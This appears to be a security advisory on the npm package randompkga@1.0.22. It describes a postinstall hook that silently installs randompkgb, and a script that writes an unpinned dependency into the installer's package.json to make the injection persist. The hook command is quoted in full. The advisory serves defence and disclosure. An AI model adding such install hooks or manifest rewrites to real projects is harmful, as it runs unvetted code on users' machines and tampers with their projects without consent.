randompkga@1.0.22

Summary

package.json declares a postinstall lifecycle script cd "$INIT_CWD" && npm i randompkgb that, on npm install, installs the additional npm package randompkgb into the consumer's project. A companion postinstall.js reads the installer's own package.json at $INIT_CWD, sets dependencies.randompkgb = "^1.0.0", and writes the manifest back to disk, persisting the injected dependency across future installs and CI runs. The caret range is unpinned, so any current or future version of randompkgb — whose code is not present in this package and is not controlled by the installer — will be resolved and executed on the installer's machine at install time and on require. This is dependency-tree hijacking: the mechanism drops attacker-controlled third-party code into the installer's environment and rewrites source-controlled project state to make the injection durable.

Source: amazon-inspector (c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c)